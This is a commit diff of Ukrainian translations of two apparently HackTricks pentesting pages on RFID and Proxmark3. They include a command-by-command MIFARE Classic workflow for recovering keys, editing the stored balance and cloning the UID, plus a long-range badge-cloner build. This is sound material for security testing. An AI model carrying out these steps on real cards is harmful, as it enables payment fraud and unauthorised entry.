Translated ['src/todo/radio-hacking/pentesting-rfid.md', 'src/todo/radio

This commit is contained in:
Translator 2025-09-29 12:54:21 +00:00
parent 9a8d540f00
commit b1df36cc89
2 changed files with 134 additions and 48 deletions

View File

@ -4,28 +4,28 @@
## Introduction
**Ідентифікація за радіочастотою (RFID)** є найпопулярнішим рішенням для короткохвильового радіозв'язку. Зазвичай його використовують для зберігання та передачі інформації, що ідентифікує об'єкт.
**Радіочастотна ідентифікація (RFID)** — найпопулярніше рішення для радіозв'язку на короткі відстані. Зазвичай використовується для зберігання та передавання інформації, яка ідентифікує об'єкт.
RFID-мітка може покладатися на **своє джерело живлення (активна)**, таке як вбудована батарея, або отримувати живлення від антени зчитування, використовуючи струм **індукований від отриманих радіохвиль** (**пасивна**).
RFID-мітка може живитись від **власного джерела енергії (active)**, наприклад вбудованої батареї, або отримувати енергію від антени рідера за рахунок **струму, індукованого прийнятими радіохвилями (passive)**.
### Classes
EPCglobal ділить RFID-мітки на шість категорій. Мітка в кожній категорії має всі можливості, зазначені в попередній категорії, що робить її зворотно сумісною.
EPCglobal ділить RFID-мітки на шість категорій. Мітка в кожній наступній категорії має всі можливості попередньої, що робить її сумісною в зворотному напрямку.
- **Клас 0** — це **пасивні** мітки, які працюють у **UHF** діапазонах. Постачальник **попередньо програмує** їх на виробництві. В результаті ви **не можете змінити** інформацію, що зберігається в їх пам'яті.
- **Клас 1** — мітки, які також можуть працювати в **HF** діапазонах. Крім того, їх можна **записати лише один раз** після виробництва. Багато міток класу 1 також можуть обробляти **циклічні контрольні суми** (CRC) команд, які вони отримують. CRC — це кілька додаткових байтів в кінці команд для виявлення помилок.
- **Клас 2** — мітки, які можна **записувати кілька разів**.
- **Клас 3** — мітки, які можуть містити **вбудовані датчики**, що можуть записувати параметри навколишнього середовища, такі як поточна температура або рух мітки. Ці мітки є **напівпасивними**, оскільки, хоча вони **мають** вбудоване джерело живлення, таке як інтегрована **батарея**, вони **не можуть ініціювати** бездротову **комунікацію** з іншими мітками або зчитувачами.
- **Клас 4** — мітки, які можуть ініціювати комунікацію з іншими мітками того ж класу, що робить їх **активними мітками**.
- **Клас 5** — мітки, які можуть надавати **живлення іншим міткам і спілкуватися з усіма попередніми класами міток**. Мітки класу 5 можуть діяти як **RFID зчитувачі**.
- **Class 0** мітки — це **passive** мітки, що працюють в діапазоні **UHF**. Вендор **передпрограмовує** їх на виробництві. Внаслідок цього ви **не можете змінювати** інформацію, що зберігається в їхній пам'яті.
- **Class 1** мітки також можуть працювати в **HF** діапазонах. Крім того, їх можна **записати лише один раз** після виробництва. Багато Class 1 міток також можуть обробляти **cyclic redundancy checks (CRCs)** команд, які вони отримують. CRC — це кілька додаткових байтів в кінці команд для виявлення помилок.
- **Class 2** мітки можна **пере записувати багаторазово**.
- **Class 3** мітки можуть містити **вбудовані сенсори**, які реєструють параметри навколишнього середовища, такі як температура або рух мітки. Ці мітки є **semi-passive**, бо хоча вони **мають** вбудоване джерело живлення, наприклад **battery**, вони **не можуть ініціювати** бездротову **communication** з іншими мітками чи рідерами.
- **Class 4** мітки можуть ініціювати зв'язок з іншими мітками того ж класу, роблячи їх **active tags**.
- **Class 5** мітки можуть забезпечувати **питання енергії іншим тегам та спілкуватися з усіма попередніми класами**. Class 5 мітки можуть виступати як **RFID readers**.
### Information Stored in RFID Tags
Пам'ять RFID-мітки зазвичай зберігає чотири види даних: **ідентифікаційні дані**, які **ідентифікують** **об'єкт**, до якого прикріплена мітка (ці дані включають поля, визначені користувачем, такі як банківські рахунки); **додаткові дані**, які надають **додаткові** **деталі** щодо об'єкта; **контрольні дані**, що використовуються для внутрішньої **конфігурації** мітки; та **дані виробника** мітки, які містять Унікальний Ідентифікатор мітки (**UID**) та деталі щодо **виробництва**, **типу** та **постачальника** мітки. Перші два види даних ви знайдете у всіх комерційних мітках; останні два можуть відрізнятися в залежності від постачальника мітки.
Пам'ять RFID-мітки зазвичай зберігає чотири типи даних: **ідентифікаційні дані**, які **ідентифікують** об'єкт, до якого прикріплена мітка (ці дані включають поля, визначені користувачем, наприклад банківські рахунки); **додаткові дані**, які надають **подальші деталі** щодо об'єкта; **дані керування**, що використовуються для внутрішньої **конфігурації** мітки; та **дані виробника**, що містять унікальний ідентифікатор мітки (UID) та деталі щодо **виробництва**, **типу** та **вендора** мітки. Перші два типи даних присутні в усіх комерційних мітках; останні два можуть відрізнятись залежно від вендора.
ISO стандарт визначає значення Ідентифікатора Сімейства Застосувань (**AFI**), код, який вказує на **тип об'єкта**, до якого належить мітка. Інший важливий реєстр, також визначений ISO, — це Ідентифікатор Формату Зберігання Даних (**DSFID**), який визначає **логічну організацію даних користувача**.
Стандарт ISO визначає значення Application Family Identifier (**AFI**) — код, що вказує на **тип об'єкта**, якому належить мітка. Інший важливий регістр, також визначений ISO, — Data Storage Format Identifier (**DSFID**), який описує **логічну організацію user data**.
Більшість **контролів безпеки** RFID мають механізми, які **обмежують** **читання** або **запис** операцій на кожному блоці пам'яті користувача та на спеціальних реєстрах, що містять значення AFI та DSFID. Ці **механізми блокування** використовують дані, збережені в контрольній пам'яті, і мають **за замовчуванням паролі**, попередньо налаштовані постачальником, але дозволяють власникам міток **налаштовувати власні паролі**.
Більшість механізмів безпеки RFID мають способи **обмеження** операцій **read** або **write** над кожним блоком user memory та над спеціальними регістрами, що містять AFI та DSFID. Ці **lock mechanisms** використовують дані, що зберігаються в control memory, та мають **паролі за замовчуванням**, попередньо налаштовані виробником, але дозволяють власникам міток **налаштувати свої паролі**.
### Low & High frequency tags comparison
@ -33,25 +33,25 @@ ISO стандарт визначає значення Ідентифікато
## Low-Frequency RFID Tags (125kHz)
**Мітки низької частоти** часто використовуються в системах, які **не вимагають високої безпеки**: доступ до будівель, ключі домофонів, картки членства в спортзалі тощо. Завдяки їх більшій дальності, їх зручно використовувати для платного паркування: водієві не потрібно підносити картку близько до зчитувача, оскільки вона активується з більшої відстані. Водночас мітки низької частоти є дуже примітивними, вони мають низьку швидкість передачі даних. З цієї причини неможливо реалізувати складну двосторонню передачу даних для таких речей, як підтримка балансу та криптографія. Мітки низької частоти лише передають свій короткий ID без жодних засобів аутентифікації.
**Низькочастотні мітки** часто використовують у системах, які **не потребують високої безпеки**: доступ до будівель, ключі домофону, карти абонентів спортзалів тощо. Через більший радіус дії вони зручні для платного паркування: водієві не потрібно підносити карту близько до рідера, оскільки вона спрацьовує з більшої відстані. Водночас низькочастотні мітки дуже примітивні, мають низьку швидкість передачі даних. Через це неможливо реалізувати складний двосторонній обмін даними для таких речей, як збереження балансу чи криптографія. Низькочастотні мітки лише передають короткий ID без жодних засобів автентифікації.
Ці пристрої покладаються на **пасивну** **RFID** технологію і працюють у **діапазоні від 30 кГц до 300 кГц**, хоча зазвичай використовують 125 кГц до 134 кГц:
Ці пристрої базуються на **passive RFID** технології й працюють у **діапазоні 30 kHz до 300 kHz**, хоча зазвичай використовують 125 kHz — 134 kHz:
- **Довгий діапазон** — нижча частота означає більший діапазон. Є кілька зчитувачів EM-Marin та HID, які працюють на відстані до метра. Їх часто використовують на парковках.
- **Примітивний протокол** — через низьку швидкість передачі даних ці мітки можуть лише передавати свій короткий ID. У більшості випадків дані не аутентифіковані і не захищені жодним чином. Як тільки картка потрапляє в зону дії зчитувача, вона просто починає передавати свій ID.
- **Низька безпека** — ці картки можна легко копіювати або навіть зчитувати з кишені когось іншого через примітивність протоколу.
- **Long Range** — нижча частота означає більший радіус. Існують деякі EM-Marin і HID рідери, що працюють на відстані до метра. Їх часто використовують на парковках.
- **Primitive protocol** — через низьку швидкість передачі даних ці мітки можуть лише передавати свій короткий ID. У більшості випадків дані не автентифіковані і не захищені. Як тільки карта опиняється в зоні дії рідера, вона просто починає передавати свій ID.
- **Low security** — ці карти легко копіюються або навіть зчитуються з чужої кишені через примітивність протоколу.
**Популярні протоколи 125 кГц:**
**Популярні 125 kHz протоколи:**
- **EM-Marin** — EM4100, EM4102. Найпопулярніший протокол у СНД. Може бути зчитаний з відстані близько метра завдяки своїй простоті та стабільності.
- **HID Prox II**протокол низької частоти, представлений HID Global. Цей протокол більш популярний у західних країнах. Він складніший, а картки та зчитувачі для цього протоколу відносно дорогі.
- **Indala** — дуже старий протокол низької частоти, який був представлений Motorola, а пізніше придбаний HID. Ви менш імовірно зустрінете його в природі в порівнянні з попередніми двома, оскільки він виходить з ужитку.
- **EM-Marin** — EM4100, EM4102. Найпопулярніший протокол в СНД. Можна зчитувати з відстані близько метра завдяки простоті й стабільності.
- **HID Prox II**низькочастотний протокол, запроваджений HID Global. Цей протокол більш поширений на заході. Він складніший, а карти і рідери для нього відносно дорогі.
- **Indala** — дуже старий низькочастотний протокол, який впровадила Motorola, а пізніше придбав HID. Ви рідше зустрітeте його в диких умовах у порівнянні з попередніми двома, оскільки він виходить з ужитку.
Насправді існує набагато більше протоколів низької частоти. Але всі вони використовують одну й ту ж модуляцію на фізичному рівні і можуть вважатися, так чи інакше, варіацією тих, що наведені вище.
Насправді існує набагато більше низькочастотних протоколів. Але всі вони використовують однакову модуляцію на фізичному шарі і можуть розглядатися, так чи інакше, як варіації згаданих вище.
### Attack
You can **attack these Tags with the Flipper Zero**:
Ви можете **attack these Tags with the Flipper Zero**:
{{#ref}}
@ -60,28 +60,28 @@ flipper-zero/fz-125khz-rfid.md
## High-Frequency RFID Tags (13.56 MHz)
**Мітки високої частоти** використовуються для більш складної взаємодії між зчитувачем і міткою, коли потрібна криптографія, велика двостороння передача даних, аутентифікація тощо.\
Їх зазвичай знаходять у банківських картках, громадському транспорті та інших безпечних пропусках.
**Високочастотні мітки** використовують для більш складної взаємодії reader-tag, коли потрібні криптографія, великий двосторонній обмін даними, автентифікація тощо.\
Їх зазвичай використовують у банківських картках, громадському транспорті та інших безпечних пропусках.
**Мітки високої частоти 13.56 МГц є набором стандартів і протоколів**. Їх зазвичай називають [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), але це не завжди правильно. Основний набір протоколів, що використовується на фізичному та логічному рівнях, — це ISO 14443. Протоколи високого рівня, а також альтернативні стандарти (такі як ISO 19092) базуються на ньому. Багато людей називають цю технологію **Ближньою Поле Комунікацією (NFC)**, терміном для пристроїв, що працюють на частоті 13.56 МГц.
**Високочастотні 13.56 MHz мітки — це набір стандартів і протоколів**. Їх зазвичай називають [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), але це не завжди коректно. Базовий набір протоколів, що використовується на фізичному та логічному рівнях — ISO 14443. Вищі за рівнем протоколи, а також альтернативні стандарти (наприклад, ISO 19092) базуються на ньому. Багато хто називає цю технологію **Near Field Communication (NFC)** — термін для пристроїв, що працюють на частоті 13.56 MHz.
<figure><img src="../../images/image (930).png" alt=""><figcaption></figcaption></figure>
Простими словами, архітектура NFC працює так: протокол передачі обирається компанією, що виготовляє картки, і реалізується на основі низькорівневого ISO 14443. Наприклад, NXP винайшла свій власний високорівневий протокол передачі, званий Mifare. Але на нижчому рівні картки Mifare базуються на стандарті ISO 14443-A.
Простою мовою, архітектура NFC працює так: протокол передачі обирає компанія-виробник карт і реалізує його на основі низькорівневого ISO 14443. Наприклад, NXP винайшла власний високорівневий протокол передачі під назвою Mifare. Але на нижчому рівні Mifare-карти базуються на стандарті ISO 14443-A.
Flipper може взаємодіяти як з низькорівневим протоколом ISO 14443, так і з протоколом передачі даних Mifare Ultralight та EMV, що використовується в банківських картках. Ми працюємо над додаванням підтримки для Mifare Classic та NFC NDEF. Докладний огляд протоколів і стандартів, що складають NFC, варто окремої статті, яку ми плануємо опублікувати пізніше.
Flipper може взаємодіяти як з низькорівневим ISO 14443 протоколом, так і з Mifare Ultralight data transfer protocol та EMV, що використовуються в банківських картках. Ми працюємо над додаванням підтримки Mifare Classic та NFC NDEF. Детальний розгляд протоколів і стандартів, що складають NFC, заслуговує окремої статті, яку ми плануємо опублікувати пізніше.
Усі картки високої частоти, основані на стандарті ISO 14443-A, мають унікальний ідентифікатор чіпа. Він діє як серійний номер картки, як MAC-адреса мережевої картки. **Зазвичай UID має довжину 4 або 7 байтів**, але рідко може **досягати 10**. UID не є секретом, і їх легко прочитати, **іноді навіть надруковані на самій картці**.
Усі високочастотні карти, що базуються на стандарті ISO 14443-A, мають унікальний ідентифікатор чіпа. Він виступає як серійний номер карти, подібно до MAC-адреси мережевої карти. **Зазвичай UID має довжину 4 або 7 байт**, але рідко може сягати **до 10**. UID не є секретом і їх легко зчитати, **іноді навіть надруковано на самій картці**.
Існує багато систем контролю доступу, які покладаються на UID для **аутентифікації та надання доступу**. Іноді це відбувається **навіть** тоді, коли RFID-мітки **підтримують криптографію**. Таке **неправильне використання** знижує їх до рівня дурних **карток 125 кГц** з точки зору **безпеки**. Віртуальні картки (як Apple Pay) використовують динамічний UID, щоб власники телефонів не могли відкривати двері зі своїм платіжним додатком.
Є багато систем контролю доступу, що покладаються на UID для **автентифікації та надання доступу**. Іноді це відбувається **навіть** коли RFID-мітки **підтримують криптографію**. Таке **неправильне використання** знижує їхній рівень безпеки до рівня простих **125 kHz карт**. Віртуальні картки (наприклад Apple Pay) використовують динамічний UID, щоб власники телефонів не відкривали двері своїм платіжним додатком.
- **Низька дальність** — картки високої частоти спеціально розроблені так, щоб їх потрібно було розташовувати близько до зчитувача. Це також допомагає захистити картку від несанкціонованих взаємодій. Максимальна дальність зчитування, яку нам вдалося досягти, становила близько 15 см, і це було з користувацькими зчитувачами високої дальності.
- **Складні протоколи** — швидкості передачі даних до 424 кбіт/с дозволяють складні протоколи з повноцінною двосторонньою передачею даних. Що, в свою чергу, **дозволяє криптографію**, передачу даних тощо.
- **Висока безпека** — безконтактні картки високої частоти ні в чому не поступаються смарт-карткам. Є картки, які підтримують криптографічно сильні алгоритми, такі як AES, і реалізують асиметричну криптографію.
- **Low range** — високочастотні карти спеціально спроектовані так, щоб їх потрібно було прикладати близько до рідера. Це також допомагає захистити карту від несанкціонованих взаємодій. Максимальна відстань зчитування, яку ми змогли досягти, становила близько 15 см, і це було з кастомними рідерами довгої дії.
- **Advanced protocols** — швидкості передачі даних до 424 kbps дозволяють складні протоколи з повноцінним двостороннім обміном. Це, у свою чергу, **дозволяє криптографію**, передачу даних тощо.
- **High security** — високочастотні безконтактні картки зовсім не поступаються смарт-картам. Є карти, що підтримують криптографічно стійкі алгоритми, такі як AES, і реалізують асиметричну криптографію.
### Attack
You can **attack these Tags with the Flipper Zero**:
Ви можете **attack these Tags with the Flipper Zero**:
{{#ref}}
@ -91,13 +91,59 @@ flipper-zero/fz-nfc.md
Or using the **proxmark**:
{{#ref}}
proxmark-3.md
{{#endref}}
### MiFare Classic offline stored-value tampering (broken Crypto1)
Коли система зберігає грошовий баланс прямо на карті MiFare Classic, ви часто можете маніпулювати ним, бо Classic використовує застарілий шифр NXP — Crypto1. Crypto1 вже багато років зламано, що дозволяє відновлювати ключі секторів і повністю читати/записувати пам'ять карти за допомогою доступного обладнання (наприклад, Proxmark3).
Загальний робочий процес (абстраговано):
1) Зробити дамп оригінальної карти та відновити ключі
```bash
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn
```
Зазвичай це відновлює sector keys (A/B) і генерує full-card dump у папці client dumps.
2) Знайдіть і зрозумійте value/integrity fields
- Виконайте легальні поповнення на оригінальній карті та зробіть кілька dumps (до/після).
- Виконайте diff двох dumps, щоб визначити змінні blocks/bytes, що представляють balance і будь-які integrity fields.
- Багато розгортань Classic або використовують нативне "value block" encoding, або реалізують власні checksums (наприклад, XOR of the balance with another field and a constant). Після зміни balance перерахуйте integrity bytes відповідно та переконайтеся, що всі duplicated/complemented fields узгоджені.
3) Запишіть змінений dump на доступний для запису “Chinese magic” Classic tag
```bash
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
```
4) Клонувати оригінальний UID, щоб термінали розпізнавали картку
```bash
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
```
5) Використання на терміналах
Зчитувачі, які довіряють балансу на карті та UID, приймуть зміновану карту. Польові спостереження показують, що в багатьох розгортаннях обмеження балансу базуються на ширині поля (наприклад, 16-бітний формат з фіксованою комою).
Примітки
- Якщо система використовує рідні Classic value blocks, пам'ятайте формат: value (4B) + ~value (4B) + value (4B) + block address + ~address. Усі частини мають відповідати.
- Для кастомних форматів із простими контрольними сумами диференційний аналіз — найшвидший спосіб вивести функцію цілісності без реверсу прошивки.
- Тільки теги з можливістю зміни UID ("Chinese magic" gen1a/gen2) дозволяють записувати block 0/UID. Звичайні Classic карти мають UIDs тільки для читання.
Для практичних команд Proxmark3 див.:
{{#ref}}
proxmark-3.md
{{#endref}}
### Building a Portable HID MaxiProx 125 kHz Mobile Cloner
If you need a **long-range**, **battery-powered** solution for harvesting HID Prox® badges during red-team engagements you can convert the wall-mounted **HID MaxiProx 5375** reader into a self-contained cloner that fits in a backpack. The full mechanical and electrical walk-through is available here:
Якщо вам потрібне довгого радіусу дії, живлене від батареї рішення для збору HID Prox® бейджів під час red-team операцій, ви можете перетворити настінний рідер HID MaxiProx 5375 на автономний клонер, який поміщається у рюкзак. Повний механічний та електричний покроковий огляд доступний тут:
{{#ref}}
@ -106,9 +152,12 @@ maxiprox-mobile-cloner.md
---
## References
## Джерела
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
- [Let's Clone a Cloner Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Атака на RFID системи з Proxmark3
## Атака на RFID-системи за допомогою Proxmark3
Перше, що вам потрібно зробити, це мати [**Proxmark3**](https://proxmark.com) та [**встановити програмне забезпечення та його залежності**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
Перш за все вам потрібно мати [**Proxmark3**](https://proxmark.com) та [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
### Атака на MIFARE Classic 1KB
Він має **16 секторів**, кожен з яких має **4 блоки**, а кожен блок містить **16B**. UID знаходиться в секторі 0, блоці 0 (і не може бути змінений).\
Щоб отримати доступ до кожного сектора, вам потрібно **2 ключі** (**A** та **B**), які зберігаються в **блоці 3 кожного сектора** (секторний трейлер). Секторний трейлер також зберігає **біти доступу**, які надають **права на читання та запис** на **кожен блок** за допомогою 2 ключів.\
2 ключі корисні для надання прав на читання, якщо ви знаєте перший, і на запис, якщо ви знаєте другий (наприклад).
Він має **16 секторів**, кожен з яких має **4 блоки**, і кожен блок містить **16B**. UID знаходиться в секторі 0 блоці 0 (і не може бути змінений).\
Щоб отримати доступ до кожного сектора, вам потрібні **2 ключі** (**A** та **B**), які зберігаються в **блоці 3 кожного сектора** (sector trailer). Сектор-трейлер також зберігає **біти доступу**, які задають права на **читання та запис** для **кожного блоку** з використанням двох ключів.\
Наявність двох ключів корисна, наприклад, для того, щоб надати право на читання, якщо ви знаєте перший ключ, і право на запис, якщо ви знаєте другий.
Можна виконати кілька атак
```bash
@ -31,11 +31,41 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Proxmark3 дозволяє виконувати інші дії, такі як **перехоплення** комунікації **мітка з зчитувачем**, щоб спробувати знайти чутливі дані. У цій картці ви можете просто перехопити комунікацію та обчислити використаний ключ, оскільки **використовувані криптографічні операції є слабкими**, і знаючи відкритий та зашифрований текст, ви можете його обчислити (інструмент `mfkey64`).
Proxmark3 дозволяє виконувати інші дії, такі як **eavesdropping** a **Tag to Reader communication**, щоб спробувати знайти конфіденційні дані.
### Сирі команди
На цій карті ви можете просто перехопити комунікацію та обчислити використаний ключ, оскільки **використані криптографічні операції є слабкими**, і, знаючи відкритий та зашифрований текст, ви можете його розрахувати (`mfkey64` tool).
Системи IoT іноді використовують **небрендовані або некомерційні мітки**. У цьому випадку ви можете використовувати Proxmark3 для відправки користувацьких **сирих команд до міток**.
#### MiFare Classic — швидкий робочий процес для зловживання картами зі збереженим балансом
Коли термінали зберігають баланси на Classic-картках, типовий потік від початку до кінця виглядає так:
```bash
# 1) Recover sector keys and dump full card
proxmark3> hf mf autopwn
# 2) Modify dump offline (adjust balance + integrity bytes)
# Use diffing of before/after top-up dumps to locate fields
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
proxmark3> hf mf cload -f modified.bin
# 4) Clone original UID so readers recognize the card
proxmark3> hf mf csetuid -u <original_uid>
```
Примітки
- `hf mf autopwn` координує атаки в стилі nested/darkside/HardNested, відновлює ключі та створює dumps у папці client dumps.
- Запис block 0/UID працює лише на magic gen1a/gen2 картках. Звичайні Classic картки мають UID тільки для читання.
- Багато розгортань використовують Classic "value blocks" або прості checksums. Переконайтеся, що всі дубльовані/доповнені поля та checksums узгоджені після редагування.
See a higher-level methodology and mitigations in:
{{#ref}}
pentesting-rfid.md
{{#endref}}
### Raw Commands
Системи IoT іноді використовують **небрендовані або некомерційні теги**. У такому випадку ви можете використовувати Proxmark3 для відправлення користувацьких **raw commands to the tags**.
```bash
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
@ -45,14 +75,21 @@ No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search
```
З цією інформацією ви можете спробувати знайти інформацію про картку та про спосіб зв'язку з нею. Proxmark3 дозволяє надсилати сирі команди, такі як: `hf 14a raw -p -b 7 26`
З цією інформацією ви можете спробувати знайти відомості про картку та про спосіб з нею спілкування. Proxmark3 дозволяє відправляти raw-команди, наприклад: `hf 14a raw -p -b 7 26`
### Скрипти
### Scripts
Програмне забезпечення Proxmark3 постачається з попередньо завантаженим списком **автоматизованих скриптів**, які ви можете використовувати для виконання простих завдань. Щоб отримати повний список, використовуйте команду `script list`. Далі використовуйте команду `script run`, за якою слідує назва скрипта:
Програмне забезпечення Proxmark3 містить попередньо завантажений список **automation scripts**, які можна використовувати для виконання простих завдань. Щоб отримати повний список, використайте команду `script list`. Далі використайте команду `script run`, після якої вкажіть назву скрипта:
```
proxmark3> script run mfkeys
```
Ви можете створити скрипт для **fuzz tag readers**, тому, копіюючи дані **дійсної картки**, просто напишіть **Lua скрипт**, який **рандомізує** один або кілька випадкових **байтів** і перевіряє, чи **збій** зчитувача з будь-якою ітерацією.
Ви можете створити скрипт для **fuzz tag readers**: скопіювавши дані **valid card**, просто напишіть **Lua script**, який **randomize** один або кілька випадкових **bytes** і перевіряє, чи **reader crashes** в будь-якій ітерації.
## References
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
{{#include ../../banners/hacktricks-training.md}}